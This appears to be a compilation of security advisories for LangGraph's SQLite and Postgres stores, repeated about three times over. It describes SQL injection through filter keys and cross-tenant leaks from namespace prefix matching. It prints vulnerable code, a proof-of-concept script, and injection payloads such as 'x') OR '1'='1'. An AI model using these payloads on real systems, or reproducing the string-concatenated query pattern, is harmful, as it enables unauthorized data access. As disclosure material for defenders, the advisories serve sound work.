LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

A SQL injection vulnerability exists in the langchain-ai/langgraph repository, specifically in the LangGraph's SQLite store implementation. The affected version is langgraph-checkpoint-sqlite 2.0.10. The vulnerability arises from improper handling of filter operators ($eq, $ne, $gt, $lt, $gte, $lte) where direct string concatenation is used without proper parameterization. This allows attackers to inject arbitrary SQL, leading to unauthorized access to all documents, data exfiltration of sensitive fields such as passwords and API keys, and a complete bypass of application-level security filters.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Context

A SQL injection vulnerability exists in LangGraph's SQLite checkpoint implementation that allows attackers to manipulate SQL queries through metadata filter keys. This affects applications that accept untrusted metadata filter keys (not just filter values) in checkpoint search operations.

Impact

Attackers who control metadata filter keys can execute arbitrary sql queries against the database.

Root Cause

The _metadata_predicate() function constructs SQL queries by interpolating filter keys directly into f-strings without validation:

# VULNERABLE CODE (before fix)
for query_key, query_value in metadata_filter.items():
    operator, param_value = _where_value(query_value)
    predicates.append(
        f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
    )
    param_values.append(param_value)

While filter values are parameterized, filter keys are not validated, allowing SQL injection.

Attack Example

Before Fix:

from langgraph.checkpoint.sqlite import SqliteSaver

saver = SqliteSaver.from_conn_string("checkpoints.db")

# Attacker controls the filter keys
malicious_filter = {"x') OR '1'='1": "dummy"}

# Returns ALL checkpoints, bypassing filtering
results = list(saver.list(None, filter=malicious_filter))

Resulting SQL:

WHERE json_extract(CAST(metadata AS TEXT), '$.x') OR '1'='1') = ?
-- Injected condition makes WHERE clause always true

Who Is Affected?

LangSmith Deployment Customers: NOT Impacted

LangSmith deployment customers are NOT affected by this vulnerability. LangSmith deployments do not allow configuring custom checkpointers, so the vulnerable code path cannot be reached.

High Risk: Custom Server Deployments

You are affected if your application:

• Runs a custom server with SqliteSaver checkpointer
• Exposes an endpoint for fetching checkpoint history (e.g., via get_state_history())
• Accepts metadata filter keys from untrusted sources

Example vulnerable code:

# Custom server endpoint - User controls filter key names - DANGEROUS
@app.post("/api/history")
def get_history(request):
    filter_field = request.json.get("filter_field")  # Untrusted input
    filter_value = request.json.get("filter_value")

    # VULNERABLE: Attacker can bypass access controls
    history = list(graph.get_state_history(
        config,
        filter={filter_field: filter_value}
    ))
    return history

Note on privilege escalation: If an endpoint allows end users to specify arbitrary filter keys, those users likely already have legitimate access to query the checkpoint database. In such cases, this vulnerability may not constitute a privilege escalation, as users who can control filter keys would typically already be expected to have database access. However, the SQL injection still allows bypassing intended filtering logic and metadata-based access controls that the application may rely on for data isolation.

Additional Security Hardening (Defense in Depth)

This release also includes hardening improvements:

1. Checkpoint Limit Parameter: used f-string interpolation into parameterized query. Not considered a vulnerability as it requires users to accept untrusted input and not validate it against the actual API signature.

2. Store Filter Value Parameterization: Refactored all filter value handling from manual quote escaping to parameterized queries

Remediation

Immediate Actions

1. Update to the patched version of langgraph-checkpoint-sqlite
2. Audit your code for locations where filter keys come from untrusted sources

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

A SQL injection vulnerability exists in the langchain-ai/langgraph repository, specifically in the LangGraph's SQLite store implementation. The affected version is langgraph-checkpoint-sqlite 2.0.10. The vulnerability arises from improper handling of filter operators ($eq, $ne, $gt, $lt, $gte, $lte) where direct string concatenation is used without proper parameterization. This allows attackers to inject arbitrary SQL, leading to unauthorized access to all documents, data exfiltration of sensitive fields such as passwords and API keys, and a complete bypass of application-level security filters.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Context

A SQL injection vulnerability exists in LangGraph's SQLite checkpoint implementation that allows attackers to manipulate SQL queries through metadata filter keys. This affects applications that accept untrusted metadata filter keys (not just filter values) in checkpoint search operations.

Impact

Attackers who control metadata filter keys can execute arbitrary sql queries against the database.

Root Cause

The _metadata_predicate() function constructs SQL queries by interpolating filter keys directly into f-strings without validation:

# VULNERABLE CODE (before fix)
for query_key, query_value in metadata_filter.items():
    operator, param_value = _where_value(query_value)
    predicates.append(
        f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
    )
    param_values.append(param_value)

While filter values are parameterized, filter keys are not validated, allowing SQL injection.

Attack Example

Before Fix:

from langgraph.checkpoint.sqlite import SqliteSaver

saver = SqliteSaver.from_conn_string("checkpoints.db")

# Attacker controls the filter keys
malicious_filter = {"x') OR '1'='1": "dummy"}

# Returns ALL checkpoints, bypassing filtering
results = list(saver.list(None, filter=malicious_filter))

Resulting SQL:

WHERE json_extract(CAST(metadata AS TEXT), '$.x') OR '1'='1') = ?
-- Injected condition makes WHERE clause always true

Who Is Affected?

LangSmith Deployment Customers: NOT Impacted

LangSmith deployment customers are NOT affected by this vulnerability. LangSmith deployments do not allow configuring custom checkpointers, so the vulnerable code path cannot be reached.

High Risk: Custom Server Deployments

You are affected if your application:

• Runs a custom server with SqliteSaver checkpointer
• Exposes an endpoint for fetching checkpoint history (e.g., via get_state_history())
• Accepts metadata filter keys from untrusted sources

Example vulnerable code:

# Custom server endpoint - User controls filter key names - DANGEROUS
@app.post("/api/history")
def get_history(request):
    filter_field = request.json.get("filter_field")  # Untrusted input
    filter_value = request.json.get("filter_value")

    # VULNERABLE: Attacker can bypass access controls
    history = list(graph.get_state_history(
        config,
        filter={filter_field: filter_value}
    ))
    return history

Note on privilege escalation: If an endpoint allows end users to specify arbitrary filter keys, those users likely already have legitimate access to query the checkpoint database. In such cases, this vulnerability may not constitute a privilege escalation, as users who can control filter keys would typically already be expected to have database access. However, the SQL injection still allows bypassing intended filtering logic and metadata-based access controls that the application may rely on for data isolation.

Additional Security Hardening (Defense in Depth)

This release also includes hardening improvements:

1. Checkpoint Limit Parameter: used f-string interpolation into parameterized query. Not considered a vulnerability as it requires users to accept untrusted input and not validate it against the actual API signature.

2. Store Filter Value Parameterization: Refactored all filter value handling from manual quote escaping to parameterized queries

Remediation

Immediate Actions

1. Update to the patched version of langgraph-checkpoint-sqlite
2. Audit your code for locations where filter keys come from untrusted sources

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

A SQL injection vulnerability exists in the langchain-ai/langgraph repository, specifically in the LangGraph's SQLite store implementation. The affected version is langgraph-checkpoint-sqlite 2.0.10. The vulnerability arises from improper handling of filter operators ($eq, $ne, $gt, $lt, $gte, $lte) where direct string concatenation is used without proper parameterization. This allows attackers to inject arbitrary SQL, leading to unauthorized access to all documents, data exfiltration of sensitive fields such as passwords and API keys, and a complete bypass of application-level security filters.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.